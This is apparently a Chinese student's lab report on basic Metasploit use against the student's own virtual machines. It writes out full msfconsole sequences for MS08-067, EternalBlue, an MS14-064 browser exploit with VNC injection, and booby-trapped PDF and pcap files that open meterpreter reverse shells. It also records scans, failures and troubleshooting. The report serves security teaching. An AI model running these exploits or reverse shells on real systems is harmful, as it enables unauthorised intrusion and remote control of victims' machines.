zoukankan      html  css  js  c++  java
  • Exp5 MSF基础应用 20165110

    Exp5 MSF基础应用 20165110

    一、实践要求(3.5分)

    实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

    1.一个主动攻击实践;(1分)

    ms08_067_netapi:自动化漏洞溢出攻击

    payload:generic/shell_reverse_tcp(成功)

    payload:windows/vncinject/reverse_tcp (失败)

    ms17_010_eternalblue:“永恒之蓝”自动化攻击

    payload:windows/x64/shell/bind_tcp(成功)

    payload:generic/shell_reverse_tcp(失败)

    2.一个针对浏览器的攻击;(1分)

    ms14_064_ole_code_execution

    payload:windows/vncinject/reverse_tcp(成功且唯一)

    payload:payload/generic/shell_reverse_tcp(成功)

    payload:windows/x64/meterpreter/reverse_http(失败)

    ms10_042_helpctr_xss_cmd_exec(失败)

    3.一个针对客户端的攻击(1分)

    Adobe(失败)

    Wireshark:

    payload:set payload windows/meterpreter/reverse_tcp        (成功)
    

    4.成功应用任何一个辅助模块。(0.5分)

    在实现ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口(成功)

    在实现ms17_010中应用use auxiliary/scanner/smb/smb_ms17_010扫描存在该漏洞的靶机(成功且唯一)

    以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

    二、实验内容

    Kali 的IP:10.1.1.211

    首先是血与泪的教训(整了我足足三天)

    !!注意:一定要在做实验之前把虚拟机的网卡设置为桥接模式,再通过设置虚拟网络编辑器,选择物理网卡,使得多台虚拟机处于同意网段中,否则之间根本就ping不通,攻击也无从谈起。

    实验一:ms08_067_netapi

    靶机:Microsoft Windows 2000(10.1.1.107)
    1.首先使用kali进行漏洞扫描
    nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.1.1.211

    vuln: 负责检查目标机是否有常见的漏洞(Vulnerability)
    –script=: 使用某个或某类脚本进行扫描,支持通配符描述 
    

    首先必须要说的是nmap能扫描的漏洞并不多,有时扫描一些漏洞会出现如下所示的情况,表示该漏洞没有在nmap扫描库中不可以被扫描。

    但是此处的ms08_067非常凑巧的可以被扫描,扫描结果如下图

    在kali端进入msfconsole控制台

    首先查找ms08_067漏洞的具体位置
    search ms08_067

    然后进行漏洞选择
    use exploit/windows/smb/ms08_067_netapi

    通过show options
    查看配置信息
    使用辅助模块查看默认端口(445)是否开放

    search portscan # 搜索端口
    use auxiliary/scanner/portscan/tcp # 使用漏洞
    show options  #显示设置
    set RHOSTS 10.1.1.211  # 设置监听者地址
    exploit # 攻击
    

    返回ms08_967设置靶机类型
    set target 1

    查看可用的payloads

    show payloads
    
    set payload windows/x64/shell/bind_tcp//选择payload
    

    再次查看相关配置信息

    set LHOST 10.1.1.211
    set LPORT 5111//注:此处因为我的学号5110始终被占用无法使用,故将端口更换成5111
    exploit
    

    攻击成功!!!

    更换另一个payload:windows/vncinject/reverse_tcp
    查找了一些关于这个payload的相关资料
    Windows/vncinject/bind_tcp 在目标计算机上安装VNC并等待连接
    期间它总是报出这样的错误

    我针对这个错误做了这样的尝试:

    就是不停地更换端口,后来也请教了一些大佬,说是因为上次的使用没有正常退出导致源端口被占用,无法继续执行下面的任务,

    还有一种解决方案是关掉终端重新启动msfconsole,两种方法经过实践是都可以解决这个问题的

    但是就我个人而言,我认为这个错误很奇怪啊,我每次在使用完成之后都会进行退出啊,为啥只要一退出再进入都会出现这样的端口占用问题呢,可能是我退出的方式不对吧。。。

    好了言归正传回来,继续使用这个payload,设置好参数,然后exploit,

    然后嗯等了好久好久,然后出现了一大堆false,我研究了半天也没搞明白这些false是什么原因,然后我又跑去换了sp2,xp,2007的靶机都以失败告终,这个payload攻击宣告失败。。。

    实验二:ms17_010_eternalblue:“永恒之蓝”自动化攻击

    在这个攻击该漏洞之前我利用了辅助工具auxiliary/scanner/smb/smb_ms17_010 这个扫描插件进行测试,该插件的作用是扫描本网段钟可能含有ms17-010漏洞的服务器,帮助我们寻找靶机

    首先进入这个辅助工具的界面中
    use auxiliary/scanner/smb/smb_ms17_010

    随后通过指令show options

    来查找该工具所需要的参数,我们可以看到RHOSTS和RPORT两个参数是必需的。

    RPORT:在上一个漏洞中我们已经扫描了445端口是开放的,所以这里的RPORT不再修改直接使用即可。

    RHOSTS:通过查找我们宿舍的网段网关地址为10.1.1.1,子网掩码是255.255.255.0,故目标网段应该填写为10.1.1.1/24将一些必备的参数填写进去,最后输入run或者exploit执行辅助工具。

    经过一段时间的等待,我们可以发现扫描结果,本网段中有一台符合条件的主机,嘿嘿嘿,就是我的win7虚拟机啦,然后就可以愉快地开始攻击了呢。

    首先老规矩输入下列一大串指令

    search ms17_010 #搜索漏洞
    use exploit/windows/smb/ms17_010_eternalblue    #使用漏洞
    show payloads   #显示可用攻击载荷
    set payload payload/generic/shell_reverse_tcp  #选择攻击载荷
    show options #查看配置信息
    set LHOST 10.1.1.211 #设置监听地址
    set RHOSTS 10.1.1.1/24(这里也可以写具体的主机地址) #设置靶机地址
    exploit #开始攻击
    

    注:由于我在做这个实验的时候崩了好几次虚拟机,所以我又重新拷了好几次虚拟机,所以实验中的RHOSTS在不停发生变化。。。

    嘻嘻,攻击成功!!!

    然后非常有冒险探索精神的我决定回一个payload``````payload:generic/shell_reverse_tcp`````
    喵喵喵,失败了???

    失败原因是好多好多个false,一开始是疑心我的参数设置的有问题,但是重新做了好几遍都不成功,我再折回去看靶机,一看哟蓝屏了,已经ping不通了,这个靶机成功又被我整die了,微笑.jpg。
    我又参考了某猪的博客唔,觉得这个漏洞还是非常容易被攻击的,只要是相应的payloads基本都是可以成功的,至于去哪里找相应的paylos,有一个指令叫做info该指令可以朝朝到该漏洞的相关信息,有的describe里面会包含对应的payloads。

    实验三:ms14_064_ole_code_execution(针对浏览器的攻击)


    还是老规矩上代码:

    search ms14_064//查找漏洞所在位置
    use exploit/windows/browser/ms14_064_ole_code_execution//选择攻击模块
    show payloads //显示可用攻击载荷
    set payload windows/vncinject/reverse_tcp //在目标计算机上安装VNC并设置tcp反向连接
    info //查看详细信息(发现可攻击winXP和win7)
    set SRVHOST 10.1.1.211 //设置攻方IP
    set LHOST 10.1.1.211
    set LPORT 5111
    set target 0 //设置winXP靶机
    exploit //发起渗透攻击
    

    生成一个URL地址,用WinXP的IE8.0打开,可以发现成功建立会话,

    并且还会弹出VNC弹框,弹框中的内容是靶机的屏幕,实现了监控,

    wow it‘s very cool。

    我还尝试了一个常规payload:payload/generic/reverse_tcp

    嘻嘻,同样也成功了。

    我继续进行探索,payload:windows/x64/meterpreter/shell_reverse_https等诸多https的payload

    很不幸,它们都失败了,所以我做出了大胆的假设,可能是因为我的两台机器之间并没有建立https通信方式。。。

    附录:ms10_042_helpctr_xss_cmd_exec(对浏览器的攻击,失败)




    实验四:对一个客户端进行攻击

    Adobe

    这个可真是难为我小猪佩奇了,我通过search adobe搜索了相关的漏洞最后选择了攻击成功率最高的攻击模块
    windows/fileformat/adobe_cooltype_sing

    靶机:WinXP

    老规矩上代码

    set payload
    windows/meterpreter/reverse_tcp //设置tcp反向连接
    set LHOST 10.1.1.211 //kali IP
    set LPORT 5111 //设置攻击端口
    set FILENAME 5110.pdf //设置生成的pdf文件名
    exploit //发起攻击
    

    成功在目录root/.msf4/local中生成5110.pdf,将该文件直接拖至靶机中

    返回kali端进入监听模块:

    use exploit/multi/handler //进入监听模块
    exploit //监听
    

    回到WinXP中双击打开pdf文件,然后不幸的事情发生了,

    Adobe Reader开启失败,报错了,然后我尝试进行修复,然后依然没有办法打开pdf文件

    我一开始怀疑是我生成的pdf文件有问题,导致Adobe Reader崩了,然后我在自己的主机上打开这个pdf,唔发现打开正常啊,里面的内容Hello World!说明pdf没问题啊,唔,那么悲惨的事实摆在了我的面前,那就是我的Adobe崩了。。。于是乎,我又跑去下载了其他的Adobe

    然后嗯到现在也没有下载下来,等下载下来了我再进行尝试,
    我还会再回来的==

    Wireshark

    这个也是为难我小猪佩奇的一个利器啊,不过这也只能怪我画蛇添足,自做聪明了。。。

    靶机:WinXP

    话不多说,上代码

     use exploit/windows/fileformat/wireshark_packet_dect.rb  //使用漏洞
     set payload windows/meterpreter/reverse_tcp //选择载荷
     set LHOST 10.1.1.211 //攻击者地址
     exploit
    

    生成一个passwords.pcap捕包文件,将该文件拖至靶机中

    进入监听模块

    use exploit/multi/handler #进入监听模块
    exploit #攻击
    

    在靶机中打开passwords.pcap文件

    攻击成功

    中间出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。

    三、实验中的遇到的问题

    1.首先是我的kali与其他虚拟机不在一个网段上,根本无法进行ping通,直接导致了之前我所有的攻击都失败了。。。

    2.攻击ms08-067时,我一开始使用的WinXP,但是一直都没有攻击成功,后来我通过参考某猪的博客,原来我的WinXP系统是中文版,里面已经装了相关的漏洞,所以当然攻击不成功了,微笑.jpg。

    3.进行攻击时经常出现如下的状况
    基本上换一下端口就可以解决,所以我实验中的截图的端口号从5109-5113都试过了。。。实在不行的话,那就重启msf吧

    4.进行Wireshark攻击时,出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。

    5.实验过程中还出现这样的问题

    解决方案:加上set payload...

    四、基础问题回答

    1.用自己的话解释什么是exploit,payload,encode.

    答:

    exploit:应该是攻击模块,里面包含攻击的平台、攻击使用的工具、以及攻击所需要的参数,应该是一个集所有工具于一体的攻击模块。

    payload:实际用于攻击的代码、机器指令

    encode:对payload进行编码的编码器

    2.实践总结与体会

    答:这个我从上周二基本就开始做了,一直做到今天还有一些地方需要完善,整个电脑的风扇一直在响,最多的一次我一下子开了四台虚拟机,我看着我的CPU爆红,这是我有电脑以来,第一次出现这种情况,总结一句话,这个实验给我的感觉是道路是曲折的,前途是光明的,失败了九十九次,不要气馁,因为第一百次还会失败的,smile。
    这个实验还是给了我一些经验,比如说排除问题,查找问题的能力,以及愈挫愈勇的能力。。。。

    3.离实战还缺些什么技术或步骤?

    答:我一直都好好奇,为啥每次实验都有这个问题。。。但是我还是要认真回答以下这个问题,我觉得我们离实战最缺少的步骤就是实践,所有的技术或者步骤都是具体问题具体分析,正如卖油翁中的一句话“唯手熟尔”。

  • 相关阅读:
    pandas的简单使用
    java搭建web从0-1(第一步:创建web工程)
    android通过命令行安装sdk
    iOS8不能通过itms-services协议下载安装app
    date命令转换日期命令提示date: illegal time format
    mac通过命令行获取证书和配置文件过期时间
    jenkin 不必要的Execute shell执行失败,导致jenkins都失败的解决
    命令行执行jenkins,构建job(可传递参数)
    Eclipse启动分析。。
    java非web应用修改 properties/xml配置文件后,无需重启应用即可生效---自动加载
  • 原文地址:https://www.cnblogs.com/20165110shiyu/p/10731510.html
Copyright © 2011-2022 走看看